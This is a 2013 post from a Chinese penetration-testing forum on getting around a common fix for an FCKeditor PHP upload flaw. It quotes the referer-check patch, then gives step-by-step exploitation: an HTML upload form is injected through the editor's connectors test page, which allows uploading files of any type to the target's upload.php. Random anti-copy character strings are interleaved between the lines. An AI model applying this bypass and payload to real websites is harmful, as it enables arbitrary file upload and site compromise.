中国网络渗透测试联盟
标题:
fckeditor 漏洞修复后的二次利用
[打印本页]
作者:
admin
时间:
2013-1-11 21:12
标题:
fckeditor 漏洞修复后的二次利用
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
9 O! J' H2 x$ z: j& j* ?! V
网上给出的修复方案是
! {8 m# y* A2 @
修复方法,删除FCK编辑器用其他的编辑器
E6 e. i; n) N# Q5 d/ W
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
" t+ g! u8 o; X- n- d0 z3 t- Z1 X
在
1 y# G0 a& i m( @$ `8 a
require(‘config.php’);
5 A) p1 a- R3 [' N- c
require(‘util.php’);
! F) k; ?2 V0 U
的下面添加以下代码—————————–
+ G& u" _& y2 @" J, P7 }3 x3 g. [
//防止外部提交
2 H6 F" Q, l* Z- Z3 p0 v& D( v
function outsidepost()
3 n6 X0 L [; {8 A3 v
{
0 q: V* l1 _& w1 H1 t$ P
$servername=$_SERVER['SERVER_NAME'];
% W2 A2 i# e( r; t2 O8 Y& s
$sub_from=@$_SERVER['HTTP_REFERER'];
( W }4 y" }* @. P
$sub_len=strlen($servername);
+ d, T1 z% n" V. r. j
$checkfrom=substr($sub_from,7,$sub_len);
/ x/ k, X6 l' j. n' H6 w# C. y8 ~, ~/ r
if($checkfrom!=$servername){
1 Q) ^- T+ w& F* U
echo(“you don’t outsidepost!”);
# y9 z5 K( s* @" s P/ J
exit;
4 s0 r+ k- W' t( @ I |0 w0 S6 q
}
& b x3 y$ U9 T1 k: `& a( Z' c
}
( p# U7 j8 ]; s5 \( p3 D- {
outsidepost();
3 s) C$ i" Q, A) j& @) }
防止外部提交,但是没有防止内部提交,
& g8 R5 O6 X L9 X: q, j3 ?+ [% T
利用方法:
, P" [9 Y1 `. l% ~
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
S5 k; X$ k4 Z+ G& ]( t6 [
2,在Current Folder 框输入
5 W7 n& U) L5 y2 j/ ?' g
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
0 v8 C# j% |; k. ?
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
( b* z/ V7 z5 x2 [$ c5 b
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2